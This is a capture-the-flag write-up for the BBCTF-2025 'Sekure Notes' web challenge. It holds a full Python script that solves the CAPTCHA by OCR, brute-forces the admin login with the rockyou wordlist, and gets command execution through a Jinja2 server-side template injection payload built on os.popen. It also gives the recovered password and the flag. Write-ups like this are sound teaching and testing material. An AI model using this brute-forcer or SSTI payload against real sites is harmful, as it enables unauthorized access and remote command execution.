BBCTF-2025

Lee Wei Xuan MVP +++

Sekure Notes (Web)

Challenge Description

Challenge: Sekure Notes
Category: Web
Author: vicevirus
URL: http://157.180.92.15:7999/

I don’t think you are able to get the flag. The captcha is too strong :(

Note: This challenge’s login is meant to be bruted. Check source code for which wordlist to use :)

Goals

  1. Bruteforce the admin password using the rockyou wordlist
  2. Bypass the CAPTCHA mechanism
  3. Exploit SSTI vulnerability to read the flag

Vulnerability Analysis

1. Hardcoded Admin Credentials

From the source code analysis, we can see the login function contains a hardcoded password check:

1
2
3
4
5
6
7
8
9
10
11
def login():
message = None
message_class = ''
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
captcha_input = request.form.get('captcha', '')
if captcha_input.upper() != session.get('captcha', '').upper():
message = 'Captcha incorrect. Please try again.'
message_class = 'error'
elif username == 'admin' and password == 'RANDOMPASSWORD': # rockyou

The comment # rockyou indicates that the admin password is from the rockyou wordlist.

2. SSTI Vulnerability

There’s a Server-Side Template Injection vulnerability in the admin_notes() function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def admin_notes():
if not session.get('admin'):
return jsonify({'error': 'unauthorized'}), 403
note_render = ''
if request.method == 'POST':
raw_note = request.form.get('note', '')
try:
note_render = render_template_string(raw_note) # VULNERABLE!
except:
note_render = 'Error rendering note.'
return render_template_string('''
...[SNIP]...
<div style="margin-top: 1rem;">{{ note_render|safe }}</div>
</div>
</body>
</html>
''', note_render=note_render)

The vulnerability exists because:

  • User input is directly passed to render_template_string()
  • The |safe filter is used, which tells Jinja2 not to escape the content
  • This allows arbitrary template injection

3. Weak CAPTCHA Implementation

The CAPTCHA can be bypassed using OCR since it generates simple alphanumeric text without complex distortions.

Solution

Step 1: Download and Analyze Source Code

  1. First, download the source code provided by the challenge
  2. Analyze the code to identify vulnerabilities and attack vectors

Step 2: Brute Force Attack with CAPTCHA Bypass

Since we need to bypass the CAPTCHA that appears on each login attempt, I discovered that the CAPTCHA in this challenge generates simple alphanumeric text that can be solved using OCR (Optical Character Recognition).

Attack Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import requests
from PIL import Image
import io
import pytesseract
import time
import os

# Configuration
TARGET_URL = "http://localhost:7999/" # Change this to your target URL
WORDLIST_PATH = "rockyou.txt" # Path to your wordlist
ADMIN_USERNAME = "admin"
THROTTLE_DELAY = 0.1 # Delay between attempts to avoid rate limiting
MAX_ATTEMPTS = None # Set to None for unlimited or a number to limit attempts

def solve_captcha(session):
"""Attempt to solve the CAPTCHA using OCR with retries"""
for _ in range(3): # Try up to 3 times
try:
# Get the CAPTCHA image
captcha_response = session.get(f"{TARGET_URL}captcha?{int(time.time())}")
captcha_image = Image.open(io.BytesIO(captcha_response.content))

# Preprocess image to improve OCR accuracy
captcha_image = captcha_image.convert('L') # Grayscale
captcha_image = captcha_image.point(lambda x: 0 if x < 128 else 255, '1') # Binarize

# Use Tesseract OCR with custom configuration
custom_config = r'--oem 3 --psm 8 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
captcha_text = pytesseract.image_to_string(captcha_image, config=custom_config).strip()

# Validate the OCR result
if len(captcha_text) == 5 and captcha_text.isalnum():
return captcha_text.upper()

except Exception as e:
print(f"[-] CAPTCHA solving error: {e}")

# If OCR fails after retries, generate a random string (fallback)
fallback = ''.join(random.choices('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=5))
print(f"[-] OCR failed, using fallback CAPTCHA: {fallback}")
return fallback

def attempt_login(session, password):
"""Attempt to login with given password"""
captcha_text = solve_captcha(session)

login_data = {
'username': ADMIN_USERNAME,
'password': password,
'captcha': captcha_text
}

response = session.post(TARGET_URL, data=login_data, allow_redirects=True)
return "/admin/notes" in response.url

def exploit_ssti(session, command):
"""Exploit the SSTI vulnerability to execute commands"""
payload = f"{{{{ config.__class__.__init__.__globals__['os'].popen('{command}').read() }}}}"
response = session.post(f"{TARGET_URL}admin/notes", data={'note': payload})

# Extract the result from the response
start_marker = '<div style="margin-top: 1rem;">'
end_marker = '</div>'
try:
result = response.text.split(start_marker)[1].split(end_marker)[0]
return result.strip()
except:
return "Failed to extract result"

def brute_force():
"""Main brute force function"""
print(f"[*] Starting brute force attack on {TARGET_URL}")
print(f"[*] Using wordlist: {WORDLIST_PATH}")

# Check if wordlist exists
if not os.path.exists(WORDLIST_PATH):
print(f"[-] Error: Wordlist not found at {WORDLIST_PATH}")
return

# Initialize counters
attempts = 0
start_time = time.time()
session = requests.Session()

with open(WORDLIST_PATH, 'r', errors='ignore') as f:
for line in f:
password = line.strip()
if not password:
continue

attempts += 1
if MAX_ATTEMPTS and attempts > MAX_ATTEMPTS:
print(f"[*] Reached max attempts ({MAX_ATTEMPTS}), stopping.")
break

# Print progress every 10 attempts
if attempts % 10 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed
print(f"[*] Attempt {attempts}: Trying '{password}' | Rate: {rate:.2f} attempts/sec")

try:
if attempt_login(session, password):
print(f"\n[+] SUCCESS! Found credentials: {ADMIN_USERNAME}:{password}")
print(f"[*] Found in {attempts} attempts ({time.time() - start_time:.2f} seconds)")

# Now exploit the SSTI vulnerability
print("\n[+] Exploiting SSTI vulnerability...")

# Test command execution
print("[*] Testing command execution with 'id':")
print(exploit_ssti(session, "id"))

# Search for flag
print("\n[*] Searching for flag...")
common_flag_locations = [
"/flag", "/flag.txt", "/app/flag", "/app/flag.txt",
"/home/flag", "/home/flag.txt", "/root/flag",
"/root/flag.txt", "/var/www/flag", "/var/www/flag.txt"
]

for location in common_flag_locations:
result = exploit_ssti(session, f"cat {location} 2>/dev/null")
if result and "No such file" not in result:
print(f"\n[+] FLAG FOUND at {location}:")
print(result)
return

# If not found, try to find it
print("\n[+] Flag not found in common locations. Searching filesystem...")
find_result = exploit_ssti(session, "find / -name '*flag*' 2>/dev/null")
print("Potential flag locations:")
print(find_result)

return

except Exception as e:
print(f"[-] Error during attempt {attempts}: {e}")
session = requests.Session() # Reset session on error

time.sleep(THROTTLE_DELAY)

print("\n[-] Brute force completed. Password not found in wordlist.")

if __name__ == "__main__":
# Check if pytesseract is available
try:
pytesseract.get_tesseract_version()
except:
print("[-] Error: Tesseract OCR is not installed or not in PATH")
print("[*] On Ubuntu/Debian, install with: sudo apt install tesseract-ocr")
print("[*] On macOS, install with: brew install tesseract")
exit(1)

brute_force()

How the Script Works:

  1. CAPTCHA Solving (solve_captcha function):

    • Downloads the CAPTCHA image from the server
    • Preprocesses the image (grayscale + binarization) for better OCR accuracy
    • Uses Tesseract OCR to extract the 5-character alphanumeric text
    • The CAPTCHA uses simple text generation, making it vulnerable to OCR
  2. Login Brute Force (attempt_login function):

    • For each password from rockyou.txt, solves the CAPTCHA using OCR
    • Submits login form with username=admin, password, and OCR-solved CAPTCHA
    • Checks for successful login by detecting /admin/notes in response URL
  3. SSTI Exploitation (exploit_ssti function):

    • Once authenticated, exploits the template injection vulnerability
    • Executes system commands to search for and read the flag

Step 3: Running the Attack

  1. Run the script against the target: http://157.180.92.15:7999/
  2. The script will bruteforce passwords and find: peaches
  3. After successful login, it automatically exploits SSTI to get the flag

Step 4: Manual SSTI Exploitation (Alternative)

If you prefer manual exploitation after getting the credentials:

  1. Login with admin:peaches
  2. Navigate to the admin notes page
  3. Use one of these SSTI payloads to read the flag:

Payload:

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}

image

Key Takeaways

  1. Weak CAPTCHA Implementation: The challenge demonstrates how simple text-based CAPTCHAs can be easily bypassed with OCR
  2. Source Code Analysis: Always check for hints in source code comments (like the # rockyou comment)
  3. SSTI via |safe Filter: The |safe filter in Jinja2 disables escaping, making template injection possible
  4. Defense: Use proper input validation, complex CAPTCHAs, and avoid |safe filter with user input

Final Result

Flag: BBCTF{c4ptcha_4nd_sst1_m4st3r!}

  • Title: BBCTF-2025
  • Author: Lee Wei Xuan
  • Created at : 2025-05-12 03:03:43
  • Updated at : 2025-11-26 03:14:08
  • Link: https://weixuan0110.github.io/2025/05/12/BBCTF-2025/
  • License: This work is licensed under CC BY-NC-SA 4.0.